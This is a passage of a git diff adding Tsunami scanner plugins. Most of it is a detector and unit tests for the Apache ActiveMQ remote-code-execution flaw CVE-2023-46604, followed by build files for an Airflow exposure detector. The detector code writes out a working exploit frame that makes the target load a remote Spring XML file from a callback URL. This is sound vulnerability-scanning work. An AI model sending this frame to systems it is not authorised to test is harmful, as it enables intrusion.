checkVersionIsSecure(String currentVersion) { + String[] parts1 = currentVersion.split("\\."); + for (String secureVersion : SECURE_VERSIONS) { + String[] parts2 = secureVersion.split("\\."); + if (parts1[0].equals(parts2[0])) { + if (parts1[1].equals(parts2[1])) { + return Integer.parseInt(parts1[2]) >= Integer.parseInt(parts2[2]); + } + } + } + // If no secure minor version matches the current version, it's considered not secure by + // default. + return false; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("CVE-2023-46604 starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isTransportProtocolTcp) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean isTransportProtocolTcp(NetworkService networkService) { + return TransportProtocol.TCP.equals(networkService.getTransportProtocol()); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + HostAndPort hp = NetworkEndpointUtils.toHostAndPort(networkService.getNetworkEndpoint()); + currentVersion = getServerVersion(hp.getHost(), hp.getPort()); + if (checkVersionIsSecure(currentVersion)) { + logger.atInfo().log("The target version %s is not susceptible.", currentVersion); + return false; + } + + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) + .build(); + + Payload payload = this.payloadGenerator.generate(config); + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { + return true; + } + useOobVerifyVulnerable = true; + try { + boolean sendPayloadResult = this.sendPayloadToTarget(hp.getHost(), hp.getPort(), payload); + if (!sendPayloadResult) { + logger.atInfo().log("Send payload to target %s failed", hp.toString()); + return false; + } + + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + + if (payload.checkIfExecuted()) { + logger.atInfo().log("Target %s is vulnerable", hp.toString()); + return true; + } else { + logger.atInfo().log("Target %s is not vulnerable", hp.toString()); + return false; + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("Request to target %s failed", hp.toString()); + } + return false; + } + + // Generate payload for Apache ActiveMQ RCE(CVE-2023-46604), and use socket to send payload + private boolean sendPayloadToTarget(String host, int port, Payload payload) { + try { + String payloadString = payload.getPayload(); + if (!payloadString.startsWith("http://") && !payloadString.startsWith("https://")) { + payloadString = "http://" + payloadString; + } + Socket socket = socketFactory.createSocket(host, port); + OutputStream os = socket.getOutputStream(); + DataOutputStream dos = new DataOutputStream(os); + // Size + dos.writeInt(0); + // Type + dos.writeByte(31); + // CommandId + dos.writeInt(0); + // Command response required + dos.writeBoolean(false); + // CorrelationId + dos.writeInt(0); + // body + dos.writeBoolean(true); + // UTF + dos.writeBoolean(true); + dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); + dos.writeBoolean(true); + dos.writeUTF(payloadString); + + dos.close(); + os.close(); + socket.close(); + return true; + } catch (IOException e) { + return false; + } + } + + private String getServerVersion(String serverAddress, int serverPort) { + try { + Socket socket = socketFactory.createSocket(serverAddress, serverPort); + DataInputStream dataInputStream = new DataInputStream(socket.getInputStream()); + byte[] header = new byte[22]; + dataInputStream.readFully(header); + Map maps = MarshallingSupport.unmarshalPrimitiveMap(dataInputStream, 4096); + return maps.get("ProviderVersion").toString(); + } catch (Exception e) { + logger.atWarning().withCause(e).log("Get Target Version Failed"); + return ""; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + TextData details = + TextData.newBuilder().setText("The detected software version is " + currentVersion).build(); + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus( + useOobVerifyVulnerable + ? DetectionStatus.VULNERABILITY_VERIFIED + : DetectionStatus.VULNERABILITY_PRESENT) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_46604")) + .setSeverity(useOobVerifyVulnerable ? Severity.CRITICAL : Severity.HIGH) + .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") + .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") + .setDescription( + useOobVerifyVulnerable + ? VULN_DESCRIPTION_OF_OOB_VERIFY + : VULN_DESCRIPTION_OF_VERSION) + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .build(); + } + + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @interface SocketFactoryInstance {} +} diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorBootstrapModule.java b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorBootstrapModule.java new file mode 100644 index 000000000..742675a65 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorBootstrapModule.java @@ -0,0 +1,46 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202346604; + +import com.google.inject.Key; +import com.google.inject.Provides; +import com.google.inject.multibindings.OptionalBinder; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.cves.cve202346604.Annotations.OobSleepDuration; +import javax.net.SocketFactory; + +/** An CVE-2023-46604 Guice module that bootstraps the {@link Cve202346604Detector}. */ +public final class Cve202346604DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + OptionalBinder.newOptionalBinder( + binder(), + Key.get(SocketFactory.class, Cve202346604Detector.SocketFactoryInstance.class)) + .setDefault() + .toInstance(SocketFactory.getDefault()); + registerPlugin(Cve202346604Detector.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(Cve202346604DetectorConfigs configs) { + if (configs.oobSleepDuration == 0) { + return 20; + } + return configs.oobSleepDuration; + } +} diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorConfigs.java b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorConfigs.java new file mode 100644 index 000000000..bea1438a4 --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202346604; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.community.detectors.cves.cve202346604") +final class Cve202346604DetectorConfigs { + int oobSleepDuration; +} diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java b/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java new file mode 100644 index 000000000..99b1ef65e --- /dev/null +++ b/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java @@ -0,0 +1,315 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202346604; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forIpAndPort; +import static com.google.tsunami.plugins.detectors.cves.cve202346604.Cve202346604Detector.VULN_DESCRIPTION_OF_OOB_VERIFY; +import static com.google.tsunami.plugins.detectors.cves.cve202346604.Cve202346604Detector.VULN_DESCRIPTION_OF_VERSION; +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.inject.AbstractModule; +import com.google.inject.Guice; +import com.google.inject.Key; +import com.google.inject.multibindings.OptionalBinder; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.cves.cve202346604.Annotations.OobSleepDuration; +import com.google.tsunami.plugins.detectors.cves.cve202346604.Cve202346604Detector.SocketFactoryInstance; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.net.Socket; +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.Arrays; +import java.util.Map; +import javax.inject.Inject; +import javax.net.SocketFactory; +import okhttp3.mockwebserver.MockWebServer; +import org.apache.activemq.util.MarshallingSupport; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202346604Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202346604DetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + private final SocketFactory socketFactoryMock = mock(SocketFactory.class); + private final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + private final MockWebServer mockCallbackServer = new MockWebServer(); + private final TextData details = + TextData.newBuilder().setText("The detected software version is 5.17.3").build(); + @Inject private Cve202346604Detector detector; + + @Bind(lazy = true) + @OobSleepDuration + private int sleepDuration = 1; + + @Before + public void setUp() throws IOException { + mockCallbackServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + FakePayloadGeneratorModule.builder() + .setCallbackServer(mockCallbackServer) + .setSecureRng(testSecureRandom) + .build(), + new AbstractModule() { + @Override + protected void configure() { + OptionalBinder.newOptionalBinder( + binder(), Key.get(SocketFactory.class, SocketFactoryInstance.class)) + .setBinding() + .toInstance(socketFactoryMock); + } + }, + Modules.override(new Cve202346604DetectorBootstrapModule()) + .with(BoundFieldModule.of(this)), + new HttpClientModule.Builder().build()) + .injectMembers(this); + } + + public void setUpNoOob() throws IOException { + mockCallbackServer.shutdown(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new Cve202346604DetectorBootstrapModule(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(null) + .setSecureRng(testSecureRandom) + .build(), + new AbstractModule() { + @Override + protected void configure() { + OptionalBinder.newOptionalBinder( + binder(), Key.get(SocketFactory.class, SocketFactoryInstance.class)) + .setBinding() + .toInstance(socketFactoryMock); + } + }, + new HttpClientModule.Builder().build()) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws Exception { + final byte[] serverInfoResponse = + new byte[] { + 0, 0, 1, 82, 1, 65, 99, 116, 105, 118, 101, 77, 81, 0, 0, 0, 12, 1, 0, 0, 1, 64, 0, 0, 0, + 13, 0, 17, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 110, 97, 98, 108, 101, 100, 1, + 1, 0, 15, 80, 108, 97, 116, 102, 111, 114, 109, 68, 101, 116, 97, 105, 108, 115, 9, 0, 4, + 74, 97, 118, 97, 0, 12, 67, 97, 99, 104, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 17, + 84, 99, 112, 78, 111, 68, 101, 108, 97, 121, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 18, + 83, 105, 122, 101, 80, 114, 101, 102, 105, 120, 68, 105, 115, 97, 98, 108, 101, 100, 1, 0, + 0, 9, 67, 97, 99, 104, 101, 83, 105, 122, 101, 5, 0, 0, 4, 0, 0, 12, 80, 114, 111, 118, + 105, 100, 101, 114, 78, 97, 109, 101, 9, 0, 8, 65, 99, 116, 105, 118, 101, 77, 81, 0, 20, + 84, 105, 103, 104, 116, 69, 110, 99, 111, 100, 105, 110, 103, 69, 110, 97, 98, 108, 101, + 100, 1, 1, 0, 12, 77, 97, 120, 70, 114, 97, 109, 101, 83, 105, 122, 101, 6, 0, 0, 0, 0, 6, + 64, 0, 0, 0, 21, 77, 97, 120, 73, 110, 97, 99, 116, 105, 118, 105, 116, 121, 68, 117, 114, + 97, 116, 105, 111, 110, 6, 0, 0, 0, 0, 0, 0, 117, 48, 0, 32, 77, 97, 120, 73, 110, 97, 99, + 116, 105, 118, 105, 116, 121, 68, 117, 114, 97, 116, 105, 111, 110, 73, 110, 105, 116, 97, + 108, 68, 101, 108, 97, 121, 6, 0, 0, 0, 0, 0, 0, 39, 16, 0, 19, 77, 97, 120, 70, 114, 97, + 109, 101, 83, 105, 122, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 15, 80, 114, 111, + 118, 105, 100, 101, 114, 86, 101, 114, 115, 105, 111, 110, 9, 0, 6, 53, 46, 49, 55, 46, 51 + }; + + configureMockSocket(new String(serverInfoResponse, StandardCharsets.UTF_8)); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 1234)) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("ActiveMQ")) + .build(); + TargetInfo targetInfo = TargetInfo.getDefaultInstance(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_46604")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") + .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") + .setDescription(VULN_DESCRIPTION_OF_OOB_VERIFY) + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .build()); + } + + @Test + public void detect_whenNotVulnerable_returnsNoVulnerability() throws Exception { + final byte[] serverInfoResponse = + new byte[] { + 0, 0, 1, 82, 1, 65, 99, 116, 105, 118, 101, 77, 81, 0, 0, 0, 12, 1, 0, 0, 1, 64, 0, 0, 0, + 13, 0, 17, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 110, 97, 98, 108, 101, 100, 1, + 1, 0, 15, 80, 108, 97, 116, 102, 111, 114, 109, 68, 101, 116, 97, 105, 108, 115, 9, 0, 4, + 74, 97, 118, 97, 0, 12, 67, 97, 99, 104, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 17, + 84, 99, 112, 78, 111, 68, 101, 108, 97, 121, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 18, + 83, 105, 122, 101, 80, 114, 101, 102, 105, 120, 68, 105, 115, 97, 98, 108, 101, 100, 1, 0, + 0, 9, 67, 97, 99, 104, 101, 83, 105, 122, 101, 5, 0, 0, 4, 0, 0, 12, 80, 114, 111, 118, + 105, 100, 101, 114, 78, 97, 109, 101, 9, 0, 8, 65, 99, 116, 105, 118, 101, 77, 81, 0, 20, + 84, 105, 103, 104, 116, 69, 110, 99, 111, 100, 105, 110, 103, 69, 110, 97, 98, 108, 101, + 100, 1, 1, 0, 12, 77, 97, 120, 70, 114, 97, 109, 101, 83, 105, 122, 101, 6, 0, 0, 0, 0, 6, + 64, 0, 0, 0, 21, 77, 97, 120, 73, 110, 97, 99, 116, 105, 118, 105, 116, 121, 68, 117, 114, + 97, 116, 105, 111, 110, 6, 0, 0, 0, 0, 0, 0, 117, 48, 0, 32, 77, 97, 120, 73, 110, 97, 99, + 116, 105, 118, 105, 116, 121, 68, 117, 114, 97, 116, 105, 111, 110, 73, 110, 105, 116, 97, + 108, 68, 101, 108, 97, 121, 6, 0, 0, 0, 0, 0, 0, 39, 16, 0, 19, 77, 97, 120, 70, 114, 97, + 109, 101, 83, 105, 122, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 15, 80, 114, 111, + 118, 105, 100, 101, 114, 86, 101, 114, 115, 105, 111, 110, 9, 0, 6, 53, 46, 49, 55, 46, 54 + }; + + configureMockSocket(new String(serverInfoResponse, StandardCharsets.UTF_8)); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 1234)) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("ActiveMQ")) + .build(); + TargetInfo targetInfo = TargetInfo.getDefaultInstance(); + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_whenVulnerableWithoutOob_returnsVulnerability() throws Exception { + this.setUpNoOob(); + final byte[] serverInfoResponse = + new byte[] { + 0, 0, 1, 82, 1, 65, 99, 116, 105, 118, 101, 77, 81, 0, 0, 0, 12, 1, 0, 0, 1, 64, 0, 0, 0, + 13, 0, 17, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 110, 97, 98, 108, 101, 100, 1, + 1, 0, 15, 80, 108, 97, 116, 102, 111, 114, 109, 68, 101, 116, 97, 105, 108, 115, 9, 0, 4, + 74, 97, 118, 97, 0, 12, 67, 97, 99, 104, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 17, + 84, 99, 112, 78, 111, 68, 101, 108, 97, 121, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 18, + 83, 105, 122, 101, 80, 114, 101, 102, 105, 120, 68, 105, 115, 97, 98, 108, 101, 100, 1, 0, + 0, 9, 67, 97, 99, 104, 101, 83, 105, 122, 101, 5, 0, 0, 4, 0, 0, 12, 80, 114, 111, 118, + 105, 100, 101, 114, 78, 97, 109, 101, 9, 0, 8, 65, 99, 116, 105, 118, 101, 77, 81, 0, 20, + 84, 105, 103, 104, 116, 69, 110, 99, 111, 100, 105, 110, 103, 69, 110, 97, 98, 108, 101, + 100, 1, 1, 0, 12, 77, 97, 120, 70, 114, 97, 109, 101, 83, 105, 122, 101, 6, 0, 0, 0, 0, 6, + 64, 0, 0, 0, 21, 77, 97, 120, 73, 110, 97, 99, 116, 105, 118, 105, 116, 121, 68, 117, 114, + 97, 116, 105, 111, 110, 6, 0, 0, 0, 0, 0, 0, 117, 48, 0, 32, 77, 97, 120, 73, 110, 97, 99, + 116, 105, 118, 105, 116, 121, 68, 117, 114, 97, 116, 105, 111, 110, 73, 110, 105, 116, 97, + 108, 68, 101, 108, 97, 121, 6, 0, 0, 0, 0, 0, 0, 39, 16, 0, 19, 77, 97, 120, 70, 114, 97, + 109, 101, 83, 105, 122, 101, 69, 110, 97, 98, 108, 101, 100, 1, 1, 0, 15, 80, 114, 111, + 118, 105, 100, 101, 114, 86, 101, 114, 115, 105, 111, 110, 9, 0, 6, 53, 46, 49, 55, 46, 51 + }; + + configureMockSocket(new String(serverInfoResponse, StandardCharsets.UTF_8)); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 1234)) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("ActiveMQ")) + .build(); + TargetInfo targetInfo = TargetInfo.getDefaultInstance(); + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_46604")) + .setSeverity(Severity.HIGH) + .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") + .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") + .setDescription(VULN_DESCRIPTION_OF_VERSION) + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .build()); + } + + @Test + public void detect_whenNotVulnerable_returnVersionNotMatch() throws Exception { + OutputStream os = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(os); + dos.write(new byte[22]); + MarshallingSupport.marshalPrimitiveMap(Map.of("ProviderVersion", "5.15.17"), dos); + configureMockSocket(os.toString()); + NetworkService service = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 1234)) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("ActiveMQ")) + .build(); + TargetInfo targetInfo = TargetInfo.getDefaultInstance(); + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + private void configureMockSocket(String response) throws Exception { + Socket socket = mock(Socket.class); + when(socketFactoryMock.createSocket(anyString(), anyInt())).thenReturn(socket); + when(socket.getOutputStream()).thenReturn(new ByteArrayOutputStream()); + when(socket.getInputStream()).thenReturn(new ByteArrayInputStream(response.getBytes(UTF_8))); + } +} diff --git a/community/detectors/apache_airflow_exposed_ui/README.md b/community/detectors/apache_airflow_exposed_ui/README.md new file mode 100644 index 000000000..c35bc5c63 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/README.md @@ -0,0 +1,16 @@ +# Exposed Apache Airflow Detector + +This plugin for Tsunami detects publicly exposed apache airflow instances. First +it tries to receive a callback to the tsunami callback server and if it failed, +it sends an HTTP request to an API endpoint to match the response with a +pattern. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/apache_airflow_exposed_ui/build.gradle b/community/detectors/apache_airflow_exposed_ui/build.gradle new file mode 100644 index 000000000..e414d3371 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/build.gradle @@ -0,0 +1,70 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami detector for exposed apache airflow server.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' + jsoupVersion = '1.9.2' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation "org.jsoup:jsoup:${jsoupVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..2c3521197 Binary files /dev/null and b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/apache_airflow_exposed_ui/gradlew b/community/detectors/apache_airflow_exposed_ui/gradlew new file mode 100755 index 000000000..f5feea6d6 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/gradlew @@ -0,0 +1,252 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" 